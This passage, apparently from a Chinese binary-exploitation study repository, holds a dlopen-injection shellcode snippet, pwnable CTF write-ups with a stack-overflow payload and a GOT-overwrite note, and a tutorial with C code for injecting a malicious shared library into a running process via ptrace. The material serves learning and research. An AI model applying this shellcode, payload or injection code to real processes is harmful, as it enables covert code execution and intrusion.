mov edx ,0x1 ; int mode 13 | 14 | mov ebx, 0x12345678 ; addr of _dl_open() 15 | call ebx ; call _dl_open! 16 | add esp, 0x4 17 | 18 | int3 ; breakpoint 19 | 20 | string: call begin 21 | db "/tmp/ourlibby.so",0x00 22 | ``` 23 | 24 | 使用 `nasm -f elf32 -o test.o test.asm` 生成目标文件, 然后使用 `objdump -d test.o` 查看目标文件 25 | 26 | ``` 27 | ➜ sshf objdump -d test.o 28 | 29 | test.o: file format elf32-i386 30 | 31 | 32 | Disassembly of section .text: 33 | 34 | 00000000 <_start>: 35 | 0: eb 13 jmp 15 36 | 37 | 00000002 : 38 | 2: 58 pop %eax 39 | 3: 31 c9 xor %ecx,%ecx 40 | 5: ba 01 00 00 00 mov $0x1,%edx 41 | a: bb 78 56 34 12 mov $0x12345678,%ebx 42 | f: ff d3 call *%ebx 43 | 11: 83 c4 04 add $0x4,%esp 44 | 14: cc int3 45 | 46 | 00000015 : 47 | 15: e8 e8 ff ff ff call 2 48 | 1a: 2f das 49 | 1b: 74 6d je 8a 50 | 1d: 70 2f jo 4e 51 | 1f: 6f outsl %ds:(%esi),(%dx) 52 | 20: 75 72 jne 94 53 | 22: 6c insb (%dx),%es:(%edi) 54 | 23: 69 62 62 79 2e 73 6f imul $0x6f732e79,0x62(%edx),%esp 55 | ... 56 | ``` 57 | 58 | #### 汇编一段函数 59 | 60 | ``` 61 | #使用gcc生成目标文件 62 | gcc -c test.c 63 | #使用objdump查看汇编代码实现 64 | objdump -d test.o 65 | ``` 66 | -------------------------------------------------------------------------------- /PwnableWriteup.md: -------------------------------------------------------------------------------- 1 | #### bof 2 | **类型: 栈溢出, 覆盖关键值** 3 | 4 | writeup: 虽然有栈保护(`canary`), 但并不影响, 因为 `canary` 的校验是在函数结束时进行校验. 所以溢出 `overflowme` 至 `key` 即可. 5 | 6 | ``` 7 | gdb-peda$ disassemble func 8 | Dump of assembler code for function func: 9 | 0x8000062c <+0>: push ebp 10 | 0x8000062d <+1>: mov ebp,esp 11 | 0x8000062f <+3>: sub esp,0x48 12 | 0x80000632 <+6>: mov eax,gs:0x14 13 | 0x80000638 <+12>: mov DWORD PTR [ebp-0xc],eax 14 | 0x8000063b <+15>: xor eax,eax 15 | 0x8000063d <+17>: mov DWORD PTR [esp],0x8000078c 16 | 0x80000644 <+24>: call 0xb7e897e0 17 | 0x80000649 <+29>: lea eax,[ebp-0x2c] 18 | 0x8000064c <+32>: mov DWORD PTR [esp],eax 19 | 0x8000064f <+35>: call 0xb7e88e60 20 | 0x80000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 21 | 0x8000065b <+47>: jne 0x8000066b 22 | 0x8000065d <+49>: mov DWORD PTR [esp],0x8000079b 23 | 0x80000664 <+56>: call 0xb7e64310 24 | 0x80000669 <+61>: jmp 0x80000677 25 | 0x8000066b <+63>: mov DWORD PTR [esp],0x800007a3 26 | 0x80000672 <+70>: call 0xb7e897e0 27 | 0x80000677 <+75>: mov eax,DWORD PTR [ebp-0xc] 28 | 0x8000067a <+78>: xor eax,DWORD PTR gs:0x14 29 | 0x80000681 <+85>: je 0x80000688 30 | 0x80000683 <+87>: call 0xb7f1fb00 <__stack_chk_fail> 31 | 0x80000688 <+92>: leave 32 | 0x80000689 <+93>: ret 33 | End of assembler dump. 34 | ``` 35 | 36 | 分析下就知道了, 计算下两个位置的差即可, `'A' * (0x2c+0x8) + '\xbe\ba\fe\ca'`. 37 | 38 | #### flag 39 | **类型: 栈内容缓存和变量未初始化导致任意地址写内容.** 40 | 41 | 由于 `passcode1` 值未经过初始化, 因此使用之前栈内容, 并且之前栈内容可控, 导致 `passcode1` 的值可控. 42 | 43 | 并且由于 `scanf("%d", passcode1);`, 这句话并有写到 `& passcode1 `, 而写将值写到 `passcode1` 值的位置, 因为两点结合导致可写内容到任意位置. 44 | 45 | 直接修改 `fflush` 的 `.got.plt` 的地址为条件成立地址即可. 46 | 47 | #### uaf 48 | 49 | **类型: UAF 暂放** 50 | 51 | 52 | #### memcpy 53 | `movdqa` 和 `movntps` 指令执行, 地址必须 `16-bytes` 对齐. 54 | 55 | 因此要求 `malloc` 分配返回的地址必须是 `16-bytes` 对齐, 这需要了解 `glibc` 中 `ptmalloc` 的大致实现. 56 | 57 | 以下引用自 ` P16` 58 | 59 | > 为了使得 chunk 所占用的空间最小,ptmalloc 使用了空间复用,一个 chunk 或者正在 被使用,或者已经被 free 掉,所以 chunk 的中的一些域可以在使用状态和空闲状态表示不 同的意义,来达到空间复用的效果。以 32 位系统为例,空闲时,一个 chunk 中至少需要 4 个 size_t(4B)大小的空间,用来存储 prev_size,size,fd 和 bk (见上图),也就是 16B, chunk 的大小要对齐到 8B。当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域肯定是无效的。所以实际上,这个空间也可以被当前 chunk 使用。这听起来有点不可思议, 但确实是合理空间复用的例子。故而实际上,一个使用中的 chunk 的大小的计算公式应该是: in_use_size = (用户请求大小+ 8 - 4 ) align to 8B,这里加 8 是因为需要存储 prev_size 和 size, 但又因为向下一个 chunk“借”了 4B,所以要减去 4。最后,因为空闲的 chunk 和使用中的 chunk 使用的是同一块空间。所以肯定要取其中最大者作为实际的分配空间。即最终的分配 空间 chunk_size = max(in_use_size, 16)。这就是当用户请求内存分配时,ptmalloc 实际需要 分配的内存大小,在后面的介绍中。如果不是特别指明的地方,指的都是这个经过转换的实 际需要分配的内存大小,而不是用户请求的内存分配大小。 60 | 61 | [intel指令文档](http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf) 62 | 63 | [glibc内存管理ptmalloc源代码分析.pdf](https://github.com/121786404/C_Memory/blob/master/Doc/glibc%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86ptmalloc%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90.pdf) 64 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # pwn & exploit 2 | 3 | 这是些前段时间研究二进制的一些心得 Paper. 本来是希望能够从底层原理到全局把控的层次去整理. 这里只完成了部分的Paper, 还有很多的Paper只写了概要点. 4 | 5 | 个人有几篇 paper 还是很有参考价值的 6 | 7 | **[linux进程动态so注入.md]()** 8 | 9 | 这篇文章介绍了如何在目前的ELF下进行动态so注入, 介绍 gnu.hash 的结构和相关算法, 具体的代码可以参考[evilELF](), 代码设计规范. 10 | 11 | **[PWN之堆内存管理.md]()** 12 | 13 | 这篇文章是我在阅读了很多参考资料和glibc后写的, 其中对于glibc分配算法中的各种缓存的设计有比较好的讲述以及对分配和释放算法有比价好的阐述. 14 | 15 | **PWN之栈触发.md** 16 | 17 | 这篇文章是在 **PWN之堆内存管理.md** 之后, 对其中各种关于堆触发的利用方式有比较的总结, 建议看看 **堆利用综述** 这一开头总结, 这里只介绍了部分堆漏洞的原理、利用等, 未完待续. 18 | 19 | **PWN之ELF系列** 20 | 21 | 这是文章是在仔细研究了ELF文件结构后写的一些总结记录文章 22 | 23 | **OSX.IOS** 24 | 25 | 这些是最近的关于macOS和IOS的研究, 有几篇文章是关于 macho 文件, 这里写了一个 dumpRuntimeMacho 可以在运行对 macho 文件进行解析. 26 | 27 | **evilELF** 28 | 29 | 对于ELF文件的相关利用 30 | 31 | **evilMACHO** 32 | 33 | 对于Macho文件的相关利用 34 | 35 | **evilHEAP** 36 | 37 | 对于各种 heap 的利用方式的实例 38 | 39 | 40 | ``` 41 | . 42 | ├── OSX.IOS 43 | │   ├── PWN之OSX.md 44 | │   ├── PWN之macho解析.md 45 | │   ├── PWN之macho加载过程.md 46 | │   └── osx和ios的交叉编译.md 47 | ├── PWN之ELF解析.md 48 | ├── PWN之ELF以及so的加载和dlopen的过程.md 49 | ├── PWN之ELF符号动态解析过程.md 50 | ├── PWN之堆触发.md 51 | ├── PWN之栈触发.md 52 | ├── PWN之保护机制.md 53 | ├── PWN之逆向技巧.md 54 | ├── PWN之堆内存管理.md 55 | ├── PWN之漏洞触发点.md 56 | ├── PWN之利用方法总结.md 57 | ├── PWN之绕过保护机制.md 58 | ├── PwnableWriteup.md 59 | ├── README.md 60 | ├── assets 61 | ├── evilELF 62 | │   ├── InjectRuntimeELF 63 | │   │   ├── __libc_dlopen_mode.o 64 | │   │   ├── evil.so 65 | │   │   └── example 66 | │   ├── LICENSE 67 | │   ├── README.md 68 | │   └── injectso 69 | │   ├── __libc_dlopen_mode.asm 70 | │   ├── __libc_dlopen_mode.o 71 | │   ├── evil.c 72 | │   ├── evil.so 73 | │   ├── inject 74 | │   ├── inject.c 75 | │   ├── utils.c 76 | │   └── utils.h 77 | ├── evilHEAP 78 | │   ├── LICENSE 79 | │   ├── README.md 80 | │   ├── house_of_force 81 | │   │   ├── README.md 82 | │   │   └── vul.c 83 | │   └── house_of_mind 84 | │   ├── README.md 85 | │   ├── exp.c 86 | │   └── vul.c 87 | ├── evilMACHO 88 | │   ├── LICENSE 89 | │   ├── README.md 90 | │   └── dumpRuntimeMacho 91 | │   ├── Build 92 | │   ├── README.md 93 | │   ├── dumpRuntimeMacho 94 | │   └── dumpRuntimeMacho.xcodeproj 95 | ├── linux进程动态so注入.md 96 | ├── refs 97 | │   ├── 2002.gera_.About_Exploits_Writing.pdf 98 | │   ├── 2015-1029-yangkun-Gold-Mining-CTF.pdf 99 | │   ├── Linux_Interactive_Exploit_Development_with_GDB_and_PEDA_Slides.pdf 100 | │   ├── ROP_course_lecture_jonathan_salwan_2014.pdf 101 | │   ├── elf 102 | │   │   ├── 001_1 程序的链接和装入及Linux下动态链接的实现(修订版).doc 103 | │   │   ├── 001_2 Linux 动态链接机制研究及应用.pdf 104 | │   │   ├── 001_3 elf动态解析符号过程(修订版).rtf 105 | │   │   ├── 001_4 Linux下的动态连接库及其实现机制(修订版).rtf 106 | │   │   ├── ELF-berlinsides-0x3.pdf 107 | │   │   ├── Understanding_ELF.pdf 108 | │   │   ├── bh-us-02-clowes-binaries.ppt 109 | │   │   ├── elf.pdf 110 | │   │   ├── 漫谈兼容内核之八 ELF 映像的装入 ( 一 ).doc 111 | │   │   └── 《链接器和加载器》中译本.pdf 112 | │   ├── formatstring-1.2.pdf 113 | │   ├── gcc.pdf 114 | │   ├── heap 115 | │   │   ├── Bugtraq_The Malloc Maleficarum.pdf 116 | │   │   ├── Glibc_Adventures-The_Forgotten_Chunks.pdf 117 | │   │   ├── Heap overflow using Malloc Maleficarum _ sploitF-U-N.pdf 118 | │   │   ├── Project Zero_ The poisoned NUL byte, 2014 edition.pdf 119 | │   │   ├── [Phrack]Advanced Doug lea's malloc exploits.pdf 120 | │   │   ├── [Phrack]Vudo malloc tricks.pdf 121 | │   │   ├── bh-usa-07-ferguson-WP.pdf 122 | │   │   ├── glibc内存管理ptmalloc源代码分析.pdf 123 | │   │   ├── heap-hacking-by-0xbadc0de.be.pdf 124 | │   │   └── x86 Exploitation 101_ this is the first witchy house – gb_master's _dev_null.pdf 125 | │   ├── ltrace_internals.pdf 126 | │   └── pwntools.pdf 127 | └── tools 128 | └── Pwngdb 129 | ├── LICENSE 130 | ├── README.md 131 | ├── angelheap 132 | └── pwngdb.py 133 | 134 | 20 directories, 71 files 135 | ``` -------------------------------------------------------------------------------- /linux进程动态so注入.md: -------------------------------------------------------------------------------- 1 | ## 前言 2 | 3 | 在学习 `hook` 过程中, 有一个种方法是 `PLT` 注入, `PLT` 注入前的必要工作是需恶意的 `so` 注入, 找了很多关于注入的资料发现绝大部分实现都已经不适用, 几个方面因素, 一部分是因为 `ELF` 文件结构变化, 一部分是因为 `glibc` 调用的函数改变, 另外有很多是由于注入位置不对导致不够通用, 下面会详细介绍几种情况. 4 | 5 | `so` 注入是对学习 `ELF` 结构极好的实践. 6 | 7 | 本文中大部分 refs 和 一起文档参考都在仓库 [pwn2exploit](https://github.com/jmpews/pwn2exploit). 8 | 9 | ## 参考链接 10 | 11 | #### ELF基础 12 | 13 | ``` 14 | #包含新的.gnu.hash, 新的hash算法以及新的符号地址计算方法 15 | ELF文件知识 16 | #大部分ELF相关参考文档都在 `refs/elf` 有包含, 比较多所以这里不重述, 只提几个极为重要的参考文档 17 | #ELF标准文档, 不包含 `.gnu.hash` 相关知识 18 | https://refspecs.linuxbase.org/elf/elf.pdf 19 | #详细解释.gnu.hash 相关知识 20 | https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections 21 | #__kernel_vsyscall 介绍(这个在后面的代码注入覆盖了系统调用, 会有一个坑) 22 | http://www.trilithium.com/johan/2005/08/linux-gate/ 23 | #内核 hash 和 bucket 相关概念 24 | http://www.nowamagic.net/academy/detail/3008086 25 | ``` 26 | 27 | #### GDB/*技巧 28 | 29 | ``` 30 | #查看哪里触发的 __kernel_vsyscall 系统函数调用(其中的2个地址为 __kernel_vsyscall 区间) 31 | watch ($eip > 0xb770c418) && ($eip < 0xb770c42b) 32 | #必备插件 33 | peda 34 | #查看系统arch相关常量 35 | echo | gcc -E -dM - | grep 64 36 | #查看ld详细信息 37 | ld --verbose 38 | ``` 39 | 40 | #### 注入实例 41 | 42 | ``` 43 | #旧注入实例, 但是具有参考价值. 44 | http://phrack.org/issues/59/8.html#article(国内很多文章都是参考这篇) 45 | http://www.cnblogs.com/LittleHann/p/4594641.html(针对phrack的翻译) 46 | http://grip2.blogspot.jp/2006/12/blog-post.html(针对phrack的翻译) 47 | 48 | #可用注入实例, 但注入方法有限制, 并且注入位置不对只能在特定情况进行注入 49 | https://github.com/gaffe23/linux-inject 50 | 51 | #没有采用代码注入, 采用的是修改寄存器的eip到指定函数地址, 动态加载函数不再适用 52 | http://www.xfocus.net/articles/200208/438.html 53 | ``` 54 | 55 | ## 注入理论 56 | 57 | 其实本质就一句话, "调用dlopen加载外部so文件", 或者说就一句代码 `dlopen("evil.so",RTLD_LAZY);`. 但是显然不可能对正在执行的程序执行 `dlopen` 操作, 所以: 58 | 59 | #### 问题1:如何能够接触到正在执行进程的内存空间. 60 | 61 | 通过 `ptrace`, `ptrace` 可以让目标 `pid` 进程成为当前进程的子进程, 进而可以访问目标进程的内存空间, 寄存器, 并且可以向目标内存空间写内容. 需要了解 `ptrace` 函数的几个关键宏. 62 | 63 | ``` 64 | 参考链接 https://linux.die.net/man/2/ptrace 65 | PTRACE_ATTACH 挂载目标pid 66 | PTRACE_CONT 让子程序继续运行 67 | PTRACE_PEEKTEXT 读取内容 68 | PTRACE_POKETEXT 写入内容 69 | ``` 70 | 71 | ok, 现在既然已经可以读写目标进程的内存空间了, 下一步已经就是在目标内存空间调用 `dlopen`.既然要调用 `dlopen`, 肯定需要 `dlopen` 函数符号的地址. 但是默认 `libc-2.19.so` 是不包含 `dlopen`, 只有 `__libc_dlopen_mode`. 72 | 73 | ``` 74 | ➜ elf readelf --dyn-syms /lib/i386-linux-gnu/libdl.so.2 | grep dlopen 75 | 29: 00000d30 101 FUNC GLOBAL DEFAULT 13 dlopen@@GLIBC_2.1 76 | 30: 00001900 108 FUNC GLOBAL DEFAULT 13 dlopen@GLIBC_2.0 77 | ➜ elf readelf --dyn-syms /lib/i386-linux-gnu/libc-2.19.so | grep dlopen 78 | 2294: 00123ae0 91 FUNC GLOBAL DEFAULT 12 __libc_dlopen_mode@@GLIBC_PRIVATE 79 | ``` 80 | 81 | 这两个函数实现的是一样的效果, 其最终都是调用的 `_dl_open`, 可以通过 `glic` 源码查看相关调用过程, 因此可以通过 `void * __libc_dlopen_mode (const char *name, int mode)` 加载外部so. 所以现在现在的问题是: 82 | 83 | #### 问题2: `__libc_dlopen_mode` 的内存地址是多少(如何查找) 84 | 85 | 有一种方法是, 通过查看 `cat /proc/1234/maps` 的加载地址, 加上函数符号在文件中的偏移来得到, 这里并不打算采用这种方法, 而是通过解析 `ELF` 文件结构得到 `__libc_dlopen_mode` 函数符号的地址. (这里需要比较多的 `ELF` 的文件结构的知识, 可以参考前面的\) 86 | 87 | ok, 先介绍几个关于 `ELF` 的结构体, 这些结构体都在 `eglibc-2.19/elf/elf.h` 有相应的定义, 实在是不想贴所有结构体的定义, 但是如果不贴又对整个不太好理解. 88 | 89 | ``` 90 | //eglibc-2.19/elf/link.h 91 | 92 | /* Structure describing a loaded shared object. The `l_next' and `l_prev' 93 | members form a chain of all the shared objects loaded at startup. 94 | 95 | These data structures exist in space used by the run-time dynamic linker; 96 | modifying them may have disastrous results. */ 97 | 98 | struct link_map 99 | { 100 | /* These first few members are part of the protocol with the debugger. 101 | This is the same format used in SVR4. */ 102 | //共享库加载地址 103 | ElfW(Addr) l_addr; /* Difference between the address in the ELF 104 | file and the addresses in memory. */ 105 | //共享库名称, 绝对路径 106 | char *l_name; /* Absolute file name object was found in. */ 107 | //动态链接section的地址 108 | ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ 109 | struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ 110 | } 111 | ``` 112 | 113 | `link_map` 的作用就是记录程序加载的所有共享库的链表, 当需要查找符号时就需要遍历该链表找到对应的共享库. 114 | 115 | ``` 116 | //http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_19/libc/elf/elf.h?view=markup 117 | //eglibc-2.19/elf/elf.h 118 | 119 | ignore... 120 | ``` 121 | 122 | `Elf32_Ehdr` 是 `ELF` 头, 注入需要使用 `Elf32_Ehdr->e_phoff` 取得正在执行进程的 `Program header table`. 123 | 124 | **这里需要注意的**, `ELF` 文件是按照 `Segment` 加载到内存中, 只会加载 `$ readelf -l test` 中的对应 `section`, 而比如 `section header table` 是不会被加载的, 通过查看 `section header table` 并不在 `$ readelf -l test` 内存映射的区间之内验证, 所以是不能通过 `section header table` 对执行中的进程进行解析. 125 | 126 | `Elf32_Phdr` 是 `ELF` 的 `Segment` 对应结构, `Segment` 是相似属性的 `section` 集合, 仅是概念性的划分. 关于 `segment` 的内存页对齐等细节, 这里不进行详细介绍, 如有兴趣请参考 \<程序员自我修养\>. 注入需要使用 `Elf32_Phdr->p_type` 和 `Elf32_Phdr->p_vaddr`, 判断并取得 `Dynamic Segment`. 127 | 128 | `Elf32_Dyn` 是有关动态链接的 `section` 结构, 属于 `Dynamic Segment`, `so` 注入需要根据它取得所需要的 `section`. 129 | 130 | `Elf32_Sym` 是符号表的结构体, 需要根据 `Elf32_Sym->st_name` 拿到该符号在 `.dynstr` 对应的位置. 131 | 132 | ok, 到目前为止几个我们需要使用的结构体都大致简单介绍了下. 下面开始具体的符号的地址查找过程. 133 | 134 | 因为 `__libc_dlopen_mode` 是在 `libc.so.6` 动态库中, 所以需要先找到 `libc.so.6`, 在介绍 `link_map` 时说过, 它记录目标进程加载的所有的动态库, 所以只要遍历 `link_map` 就可以找到 `libc.so.6`. 所以现在的问题是: 135 | 136 | #### 问题3: 如何找到 `link_map` 地址 137 | 138 | `link_map` 位于 `.got.plt` 表的第 2 位置(请查看关于 `ELF` 文件结构的知识), 而 `.got.plt` 表的地址位于 `Elf32_Dyn->d_tag == DT_PLTGOT` 的 `Elf32_Dyn` 中, ·而 `Dynamic Segment` 的地址位于 `Elf32_Phdr->p_type == PT_DYNAMIC` 的 `Elf32_Phdr` 中, 而 `Program header table` 的地址位于 `Elf32_Ehdr->e_phoff`, 这样就可以逆转整个过程, 以取得 `link_map` 的地址. 139 | 140 | ``` 141 | 142 | struct link_map * 143 | locate_linkmap(int pid) 144 | { 145 | ElfW(Ehdr) ehdr; 146 | ElfW(Phdr) phdr; 147 | ElfW(Dyn) dyn; 148 | struct link_map *l = malloc(sizeof(struct link_map)); 149 | ElfW(Addr) phdr_addr , dyn_addr , map_addr, gotplt_addr, text_addr; 150 | 151 | ptrace_read(pid, PROGRAM_LOAD_ADDRESS, &ehdr , sizeof(ElfW(Ehdr))); 152 | 153 | phdr_addr = PROGRAM_LOAD_ADDRESS + ehdr.e_phoff; 154 | 155 | ptrace_read(pid , phdr_addr, &phdr , sizeof(ElfW(Phdr))); 156 | 157 | while ( phdr.p_type != PT_DYNAMIC ) { 158 | ptrace_read(pid, phdr_addr += sizeof(ElfW(Phdr)), &phdr, sizeof(ElfW(Phdr))); 159 | } 160 | 161 | /* now go through dynamic section until we find address of GOT.PLT */ 162 | ptrace_read(pid, phdr.p_vaddr, &dyn, sizeof(ElfW(Dyn))); 163 | 164 | dyn_addr = phdr.p_vaddr; 165 | 166 | while ( dyn.d_tag != DT_PLTGOT ) { 167 | ptrace_read(pid, dyn_addr += sizeof(ElfW(Dyn)), &dyn, sizeof(ElfW(Dyn))); 168 | } 169 | 170 | /* link_map address, .got.plt address */ 171 | gotplt_addr = dyn.d_un.d_ptr; 172 | 173 | /* now just read first link_map item and return it */ 174 | ptrace_read(pid, gotplt_addr + sizeof(ElfW(Addr)), &map_addr , sizeof(ElfW(Addr))); 175 | ptrace_read(pid , map_addr, l , sizeof(struct link_map)); 176 | 177 | return l; 178 | } 179 | ``` 180 | 181 | ok, 现在我们已经找到对应的动态库的 `link_map`, 现在我们就需要从 `link_map`, 找到 `__libc_dlopen_mode` 函数符号的地址, 所以现在的问题是: 182 | 183 | #### 问题4: 如何根据 `符号名字符串` 和 `link_map` 找符号的内存地址 184 | 185 | 当然可以通过 `$ readelf --dyn-syms /lib/i386-linux-gnu/libc-2.19.so | grep __libc_dlopen_mode` 找到函数符号在文件中的偏移加上动态库的加载地址, 就可以得到该符号的在内存中的地址. 这种方式并不通用, 比如: `so` 文件丢失, 不存在 `readelf` 命令. 186 | 187 | ok, 那么现在的方法就是遍历 `.dynsym` 表, 查找符号名称为 `__libc_dlopen_mode` 的 `Elf32_Sym`(其实是查找`Elf32_Sym->st_name` 在 `.dynstr` 中的索引对应的字符串). \*\* 然而 `.dynsym` 的长度是多少, 或者说遍历停止的条件? \*\*.如果要得到 `.dynsym` 的长度, 也只能读 `so` 文件, 根据一些没有加载到内存中的但是存在于文件中的内容解析, 比如: 根据 `section header table` 找到 `.dynsym` 的 `Elf32_Shdr` 结构, `Elf32_Shdr->sh_size /Elf32_Shdr->sh_entsize` 即为符号表的长度. 所以这种方法也不可行. 188 | 189 | ok, 另一种方法就是根据 `glibc` 中的方法进行查找符号地址, 这里需要用 `.gnu.hash` 表, 同时在 `glibc` 中 利用 `_dl_lookup_symbol_x -> do_lookup_x` 进行函数符号的地址查找, 关于 `.gnu.hash` 的详细介绍, 请参考 `https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections`, 这里简单提一下, `ELF` 在加载动态库时并不是直接全部解析出所有符号的地址, 而是通过 `PLT` 延迟加载的方式, 在执行的过程中通过查找符号的地址, 这需要利用 `.gnu.hash` 进行 `hash` 算法快速查找. 建议先阅读参考文档中关于 `.gnu.hash` 的介绍, 以及了解关于如何利用 `hash桶` 的方法解决 `hash` 冲突. 190 | 191 | 下面是 `glibc` 在进行符号查找一段核心代码, 位于 `eglibc-2.19/elf/dl-lookup.c` 中的 `do_lookup_x` 函数中. 192 | 193 | ``` 194 | //http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_19/libc/elf/dl-lookup.c?view=markup 195 | //eglibc-2.19/elf/dl-lookup.c 196 | 197 | const ElfW(Sym) *sym; 198 | const ElfW(Addr) *bitmask = map->l_gnu_bitmask; 199 | if (__builtin_expect (bitmask != NULL, 1)) 200 | { 201 | ElfW(Addr) bitmask_word 202 | = bitmask[(new_hash / __ELF_NATIVE_CLASS) 203 | & map->l_gnu_bitmask_idxbits]; 204 | 205 | unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1); 206 | unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift) 207 | & (__ELF_NATIVE_CLASS - 1)); 208 | 209 | if (__builtin_expect ((bitmask_word >> hashbit1) 210 | & (bitmask_word >> hashbit2) & 1, 0)) 211 | { 212 | Elf32_Word bucket = map->l_gnu_buckets[new_hash 213 | % map->l_nbuckets]; 214 | if (bucket != 0) 215 | { 216 | const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket]; 217 | 218 | do 219 | if (((*hasharr ^ new_hash) >> 1) == 0) 220 | { 221 | symidx = hasharr - map->l_gnu_chain_zero; 222 | sym = check_match (&symtab[symidx]); 223 | if (sym != NULL) 224 | goto found_it; 225 | } 226 | while ((*hasharr++ & 1u) == 0); 227 | } 228 | } 229 | /* No symbol found. */ 230 | symidx = SHN_UNDEF; 231 | } 232 | ``` 233 | 234 | 这里有点坑, 就是此时 `link_map` 结构并非 `#include ` 中的结构, 在 `eglibc-2.19/include/link.h` 中有这么一段代码: 235 | 236 | ``` 237 | #define link_map link_map_public 238 | #define la_objopen la_objopen_wrongproto 239 | #include 240 | #undef link_map 241 | #undef la_objope 242 | ``` 243 | 244 | 所以需要我们自己去构造这些结构体变量的成员, 构造的方法可以参考 `eglibc-2.19/elf/dl-lookup.c` 中 `_dl_setup_hash` 函数. 这里附上一段代码作为参考 245 | 246 | ``` 247 | 248 | void 249 | internal_function 250 | _dl_setup_hash (struct link_map *map) 251 | { 252 | Elf_Symndx *hash; 253 | 254 | if (__builtin_expect (map->l_info[DT_ADDRTAGIDX (DT_GNU_HASH) + DT_NUM 255 | + DT_THISPROCNUM + DT_VERSIONTAGNUM 256 | + DT_EXTRANUM + DT_VALNUM] != NULL, 1)) 257 | { 258 | Elf32_Word *hash32 259 | = (void *) D_PTR (map, l_info[DT_ADDRTAGIDX (DT_GNU_HASH) + DT_NUM 260 | + DT_THISPROCNUM + DT_VERSIONTAGNUM 261 | + DT_EXTRANUM + DT_VALNUM]); 262 | map->l_nbuckets = *hash32++; 263 | Elf32_Word symbias = *hash32++; 264 | Elf32_Word bitmask_nwords = *hash32++; 265 | /* Must be a power of two. */ 266 | /* Important!!! */ 267 | assert ((bitmask_nwords & (bitmask_nwords - 1)) == 0); 268 | map->l_gnu_bitmask_idxbits = bitmask_nwords - 1; 269 | map->l_gnu_shift = *hash32++; 270 | 271 | map->l_gnu_bitmask = (ElfW(Addr) *) hash32; 272 | hash32 += __ELF_NATIVE_CLASS / 32 * bitmask_nwords; 273 | 274 | map->l_gnu_buckets = hash32; 275 | hash32 += map->l_nbuckets; 276 | map->l_gnu_chain_zero = hash32 - symbias; 277 | return; 278 | } 279 | 280 | if (!map->l_info[DT_HASH]) 281 | return; 282 | hash = (void *) D_PTR (map, l_info[DT_HASH]); 283 | 284 | map->l_nbuckets = *hash++; 285 | /* Skip nchain. */ 286 | hash++; 287 | map->l_buckets = hash; 288 | hash += map->l_nbuckets; 289 | map->l_chain = hash; 290 | } 291 | ``` 292 | 293 | 这里算法不进行具体的解释, 可以参考下文的对应的实现, 这题提一下本来是参照 `https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections` 实现的符号查找算法, 但总感觉不太标准, 就又按照 `glibc` 实现了一遍, 本质大同小异, 会在代码中做一些对比说明. 294 | 295 | 这里另外提两点关于 `glibc` 中代码实现风格的, 1. 在 `glibc` 实现关于符号的符号查找的 `hash` 算法的过程中大量利用了 `移位代替取模`, 比如上面的 `bitmask_nwords Must be a power of two`. 这点在下文的具体算法的实现中会有体现. 2. 在 `glibc` 中大量使用宏来处理不同处理器的兼容性问题, 比如 `ElfW(Addr)`, `ElfW` 的定义是: 296 | 297 | ``` 298 | // #include 299 | #define __ELF_NATIVE_CLASS 32 300 | 301 | // #include 302 | #include 303 | #define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type) 304 | #define _ElfW(e,w,t) _ElfW_1 (e, w, _##t) 305 | #define _ElfW_1(e,w,t) e##w##t 306 | ``` 307 | 308 | `__ELF_NATIVE_CLASS` 定义当前机子的字长, 这样 `ElfW(Addr)` 就被解析为 `Elf32_Addr` 或者 `Elf64_Addr`, 最后根据 `#include ` 定义的类型来做处理. 309 | 310 | ok, 先放出来关于 `setup_hash` 的实现, 作用就是在解析 `Dynamic Segment` 的过程中顺便完善 `link_map` 结构, 方便下文的 `hash` 算法的使用. 311 | 312 | ``` 313 | void 314 | setup_hash(int pid, struct link_map *map, struct link_map_more *map_more) { 315 | Elf32_Word *gnu_hash_header = (Elf32_Word *)malloc(sizeof(Elf32_Word) * 4); 316 | ptrace_read(pid, map_more->gnuhash_addr, gnu_hash_header, sizeof(Elf32_Word) * 4); 317 | 318 | // .gnu.hash 319 | map_more->nbuckets =gnu_hash_header[0]; 320 | map_more->symndx = gnu_hash_header[1]; 321 | map_more->nmaskwords = gnu_hash_header[2]; 322 | map_more->shift2 = gnu_hash_header[3]; 323 | map_more->bitmask_addr = map_more->gnuhash_addr + 4 * sizeof(Elf32_Word); 324 | map_more->hash_buckets_addr = map_more->bitmask_addr + map_more->nmaskwords * sizeof(ElfW(Addr)); 325 | map_more->hash_values_addr = map_more->hash_buckets_addr + map_more->nbuckets * sizeof(Elf32_Word); 326 | } 327 | ``` 328 | 这里根据 `.gnu.hash` 的结构进行解析, 应该没有什么问题. 329 | 330 | ok, 再放出关于符号查找 `hash` 算法的具体, 这里整个的核心. 331 | 332 | ``` 333 | 334 | //eglibc-2.19/elf/dl-lookup.c 335 | unsigned long 336 | dl_new_hash (const char *s) 337 | { 338 | unsigned long h = 5381; 339 | unsigned char c; 340 | for (c = *s; c != '\0'; c = *++s) 341 | h = h * 33 + c; 342 | return h & 0xffffffff; 343 | } 344 | 345 | /* seach symbol name in elf(so) */ 346 | ElfW(Sym) * 347 | symhash(int pid, struct link_map_more *map_more, const char *symname) 348 | { 349 | unsigned long c; 350 | Elf32_Word new_hash, h2; 351 | unsigned int hb1, hb2; 352 | unsigned long n; 353 | Elf_Symndx symndx; 354 | ElfW(Addr) bitmask_word; 355 | ElfW(Addr) addr; 356 | ElfW(Addr) sym_addr; 357 | ElfW(Addr) hash_addr; 358 | char symstr[256]; 359 | ElfW(Sym) * sym = malloc(sizeof(ElfW(Sym))); 360 | 361 | new_hash = 